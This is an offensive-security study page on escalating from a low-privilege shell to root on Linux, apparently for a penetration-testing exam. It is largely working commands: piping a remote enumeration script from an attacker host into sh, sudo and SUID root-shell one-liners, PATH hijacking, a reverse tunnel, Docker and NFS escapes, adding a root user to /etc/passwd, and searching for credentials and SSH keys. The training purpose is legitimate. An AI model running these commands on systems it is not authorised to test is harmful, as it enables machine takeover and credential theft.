Linux Privilege Escalation¶
In one sentence
Low-privilege shell to root: enumerate thoroughly first, work the common misconfigurations in order (sudo → SUID / capabilities → cron → credentials → services), and keep kernel exploits for last.
Practical companion
For command selection, output interpretation and failure diagnosis, use the practical field guide; for Windows/AD protocol detail, use the Impacket handbook.
1. Concept¶
Root on a Linux box comes from one of a few places:
| Source | Why it works |
|---|---|
| Something runs as root that you can influence | sudo rule, SUID binary, capability, root cron job, root service, writable script / PATH / library |
| A credential you can find | Config files, history, backups, database tables, SSH keys — reused for root or another user |
| A misconfigured share or group | NFS no_root_squash, membership in docker / lxd / disk / adm |
| A vulnerable kernel or SUID package | PwnKit, DirtyPipe, old sudo — last resort |
Often it is two hops: www-data → a real user (found credential) → root (sudo rule).
0. Stabilise the shell first¶
Full detail → Shells & file transfer › TTY upgrade.
2. Main tools¶
| Tool | Use it for | Exam status |
|---|---|---|
| LinPEAS | Broad automated enumeration, colour-coded | Allowed |
| pspy | Watching processes (cron jobs, root scripts) without root | Allowed |
| GTFOBins | How to abuse a sudo / SUID / capability binary | Allowed (reference site) |
| searchsploit | Kernel / package exploit lookup | Allowed |
| Manual commands | sudo -l, find, getcap, ss, ps |
— |
3. Scenarios¶
3.1 First five minutes — manual checks¶
id; hostname; ip a
sudo -l # needs the user's password? try any you found
find / -perm -4000 -type f 2>/dev/null # SUID
getcap -r / 2>/dev/null # capabilities
cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron 2>/dev/null
ss -tulpn # local-only services (127.0.0.1)
ps aux --forest | grep -v '\]$' # what runs as root?
ls -la /home/* /opt /var/backups /var/www 2>/dev/null
uname -a; cat /etc/os-release
What to read: any (root) NOPASSWD: in sudo -l; a SUID binary not in the standard list (/usr/bin/passwd, mount, su, sudo, … are normal — /usr/bin/find, /opt/backup, python3 are not); a capability like cap_setuid+ep; groups such as docker, lxd, disk.
3.2 LinPEAS — broad sweep¶
Situation: The manual checks didn't show an obvious path.
# Kali: python3 -m http.server 80
curl http://<KALI>/linpeas.sh | sh | tee /tmp/lp.txt
# or download, chmod +x, run
What to read: red-on-yellow = "95% a privesc vector"; red = worth checking. Focus on: Sudo version, SUID, Capabilities, Cron jobs, Writable files owned by root, Interesting files (passwords in configs), Active ports, Users with console.
Next: each highlighted item → GTFOBins or the matching scenario below. Don't trust the CVE suggestions blindly — they are guesses based on version numbers.
3.3 sudo rule → GTFOBins¶
Situation: sudo -l shows e.g. (root) NOPASSWD: /usr/bin/find.
Look up the binary on GTFOBins → section Sudo:
sudo find . -exec /bin/sh \; -quit
sudo vim -c ':!/bin/sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Variations to check:
- A script you can run as root (
sudo /opt/backup.sh) → can you write the script, or a file / command it calls without a full path? env_keep+=LD_PRELOADinsudo -l→ build a tiny shared library that spawns a shell and preload it.- Wildcards in the allowed command (
/usr/bin/cat /var/log/*) → path traversal (/var/log/../../etc/shadow). - Old sudo version (
sudo -V) → known CVEs (e.g. Baron Samedit, CVE-2021-3156) as a later option.
3.4 SUID / capabilities → GTFOBins¶
Situation: find / -perm -4000 shows /usr/bin/python3.8 or getcap shows cap_setuid+ep.
# SUID binary (GTFOBins → "SUID" section — note the -p to keep privileges)
/usr/bin/find . -exec /bin/sh -p \; -quit
# cap_setuid on python
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Custom SUID binary (/usr/local/bin/backup): run strings on it — does it call tar, cp, service without a full path? Then hijack PATH:
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/tar; chmod +x /tmp/tar
export PATH=/tmp:$PATH
/usr/local/bin/backup
3.5 Cron jobs and hidden root processes — pspy¶
Situation: Nothing in /etc/crontab, but something feels scheduled (a log file that keeps updating, a /opt/scripts folder).
What to read: lines with UID=0 that repeat every minute — e.g. UID=0 PID=2345 | /bin/sh -c /opt/scripts/cleanup.sh or tar czf /backups/web.tgz *.
Next:
- Writable script → append a payload:
- Wildcard with
tarin a directory you can write: - Script calls a binary by name and the cron
PATHincludes a directory you can write → plant a binary of that name.
3.6 Credentials on the box¶
Privilege escalation is often just credential reuse:
cat ~/.bash_history ~/.*_history 2>/dev/null
grep -rniE 'pass(word)?\s*[=:]|DB_PASS|secret' /var/www /opt /etc /home 2>/dev/null | grep -v '^Binary'
find / -name '*.bak' -o -name '*.old' -o -name '*.kdbx' -o -name 'id_rsa*' 2>/dev/null
cat /var/www/*/wp-config.php /var/www/*/config*.php 2>/dev/null
What to read: DB passwords (try them for su root, su <user>, and SSH), private keys, .git directories (history), mail in /var/mail.
Next: su - with each password; log in to the database and read its user table → Password attacks.
3.7 Internal services¶
Situation: ss -tulpn shows 127.0.0.1:8080 or 127.0.0.1:3306 that nmap couldn't see.
Forward it to Kali and attack it like a new target:
# you have SSH as the user
ssh -L 8080:127.0.0.1:8080 user@$IP
# no SSH: chisel reverse port forward
./chisel client <KALI>:8000 R:8080:127.0.0.1:8080 # Kali: ./chisel server -p 8000 --reverse
Then browse http://127.0.0.1:8080 on Kali. A root-run internal web app (admin panel, Jenkins, a dev API) is a frequent intended path. More → Pivoting.
3.8 Groups: docker / lxd / disk / adm¶
Group (from id) |
Path to root |
|---|---|
docker |
docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
lxd / lxc |
Import a small image, create a privileged container with / mounted |
disk |
debugfs /dev/sda1 → read /root/.ssh/id_rsa or /etc/shadow |
adm |
Read logs in /var/log — credentials in auth / app logs |
3.9 NFS no_root_squash¶
Situation: cat /etc/exports (or showmount -e from Kali) shows /srv/share *(rw,no_root_squash).
# Kali, as root
sudo mount -t nfs -o vers=3 $IP:/srv/share /mnt/nfs
sudo cp /bin/bash /mnt/nfs/rootbash && sudo chmod +s /mnt/nfs/rootbash
# target
/srv/share/rootbash -p
(Copy a bash binary compatible with the target if Kali's is newer than the target's libc.)
3.10 Writable /etc/passwd or /etc/shadow¶
ls -l /etc/passwd /etc/shadow
openssl passwd -1 'Pwned123' # → $1$...
echo 'r00t:$1$...:0:0:root:/root:/bin/bash' >> /etc/passwd
su r00t
3.11 Kernel exploits — last resort¶
uname -r; cat /etc/os-release; dpkg -l | grep -i polkit # PwnKit check
searchsploit linux kernel 4.4 privilege escalation
Common candidates: PwnKit (CVE-2021-4034, polkit pkexec), DirtyPipe (CVE-2022-0847, kernel 5.8–5.16.x), DirtyCow (old kernels). Compile on a matching system or use a static build; read the exploit first — a kernel panic costs a revert.
4. Common mistakes¶
- Running LinPEAS and reading only the CVE list. The intended path is usually a sudo rule, a cron job or a credential in the same output.
- Skipping
sudo -lbecause it asks for a password — try every password you've found. - Not using pspy. Root cron jobs in a user's crontab don't show in
/etc/crontab. - Forgetting
-pwith SUID bash / sh — without it the shell drops privileges. - Jumping to kernel exploits first and crashing the box.
- Missing a second user.
www-data→user(password in config) → root is very common.
5. Exam tips¶
- Proof screenshot:
cat /root/proof.txt,whoami,ip ain one screenshot from an interactive shell (flag rules). - Time-box: 30 min on manual checks + LinPEAS + pspy; if still nothing, re-read the output from the top — then look for internal services.
- Keep a personal list of the GTFOBins entries you used; it gets reused a lot.
Checklist¶
- Shell upgraded to a proper TTY
-
sudo -lchecked (with every known password) → GTFOBins - SUID + capabilities enumerated → GTFOBins
- Cron read and
pspyrun (writable scripts? wildcards?) - Config files / history / backups / SSH keys searched for credentials
- Local-only services found and forwarded
- Groups (
docker,lxd,disk) and NFS exports checked - Kernel / distro version noted (kept as the last option)
Related pages¶
- Exam workflow · Shells & file transfer · Pivoting · Password attacks
- Defender view: Linux auth & history · Linux persistence · Linux logs & triage
- Linux commands · Methodology & habits